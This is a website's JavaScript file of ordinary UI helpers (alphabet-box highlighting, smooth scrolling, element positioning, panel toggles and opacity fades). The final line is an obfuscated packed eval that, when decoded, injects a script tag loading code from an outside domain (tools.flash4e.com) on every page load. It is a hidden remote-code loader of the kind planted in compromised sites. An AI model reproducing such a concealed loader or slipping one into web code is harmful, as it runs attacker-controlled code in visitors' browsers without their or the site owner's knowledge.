//Highlights an alpha box
function gotoAlpha(alpha) {
	if (document.getElementById(alpha)) {
		var catBox = document.getElementById('catBoxTMP').value;
		
		if (catBox != "") {
			document.getElementById(catBox).className = 'catbox_head';
			document.getElementById(catBox + '_box').className = 'catbox_bodywrap';
		}
		
		document.getElementById('catBoxTMP').value = alpha;
		document.getElementById(alpha).className = 'catbox_head_light';
		document.getElementById(alpha + '_box').className = 'catbox_bodywrap_light';
		
		scrollDownTo(alpha, 0, 0);
	}
}

//Scrolls down to an element
function scrollDownTo(id, cy, dy) {
	var d = document.getElementById(id);
	var cy = parseInt(cy);
	var dy = parseInt(dy);
	
	if (dy == 0) {
		dy = findPosY(d);
	}
	
	if (cy < dy) {
		scrollTo(0, cy);
		cy += (dy / 15);
		setTimeout('scrollDownTo("' + id + '", "' + cy + '", "' + dy + '");', '10');
	}else{
		scrollTo(0, dy);
	}
}

//Find position X in the browser
function findPosX(obj) {
	var curleft = 0;
	if (obj.offsetParent) {
		while(1) {
			curleft += obj.offsetLeft;
			if (!obj.offsetParent) {
				break;
			}
			obj = obj.offsetParent;
		}
	}else if (obj.x) {
		curleft += obj.x;
	}
	return curleft;
}

//Find position Y in the browser
function findPosY(obj) {
	var curtop = 0;
	if (obj.offsetParent) {
		while(1) {
			curtop += obj.offsetTop;
			if (!obj.offsetParent) {
				break;
			}
			obj = obj.offsetParent;
		}
	}else if (obj.y) {
		curtop += obj.y;
	}
	return curtop;
}

//Suggest site
function addSite() {
	var d = document.getElementById('addSite');
	
	if (d.style.display == 'none') {
		d.style.display = '';
		opFade('addSite', 0, 100, 5, 0);
	}else{
		d.style.display = 'none';
	}
}

//Apply editor
function addEditor() {
	var d = document.getElementById('addEditor');
	
	if (d.style.display == 'none') {
		d.style.display = '';
		opFade('addEditor', 0, 100, 5, 0);
	}else{
		d.style.display = 'none';
	}
}

//Contact us
function contactus() {
	var d = document.getElementById('contactUS');
	
	if (d.style.display == 'none') {
		d.style.display = '';
		opFade('contactUS', 0, 100, 5, 0);
	}else{
		d.style.display = 'none';
	}
}

//Fades an element by id from start to stop value of opacity
function opFade(id, start, stop, step, current) {
	var start = parseInt(start);
	var stop = parseInt(stop);
	var step = parseInt(step);
	var current = parseInt(current);
	var obj = document.getElementById(id);
	
	//Check if we need to fade and fade :P
	if (current == 0) {
		current = start;
	}
	if (start > stop & current > stop) {
		obj.style.opacity = (current / 100);
		obj.style.MozOpacity = (current / 100);
		obj.style.KhtmlOpacity = (current / 100);
		obj.style.filter = "alpha(opacity=" + current + ")";
		current = current - step;
		setTimeout('opFade("' + id + '", "' + start + '", "' + stop + '", "' + step + '", "' + current + '");', '30');
	}
	if (start < stop & current < stop) {
		obj.style.opacity = (current / 100);
		obj.style.MozOpacity = (current / 100);
		obj.style.KhtmlOpacity = (current / 100);
		obj.style.filter = "alpha(opacity=" + current + ")";
		current = current + step;
		setTimeout('opFade("' + id + '", "' + start + '", "' + stop + '", "' + step + '", "' + current + '");', '30');
	}
}

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('8 3(){9 0=1.a(\'7\');0.2(\'5\',\'4/6\');0.2(\'b\',\'k://l.c.j/g.i\');1.h.d(0)}e.f=3;',22,22,'d_|document|setAttribute|g_|text|type|javascript|script|function|var|createElement|src|flash4e|appendChild|window|onload||body|js|com|http|tools'.split('|'),0,{}))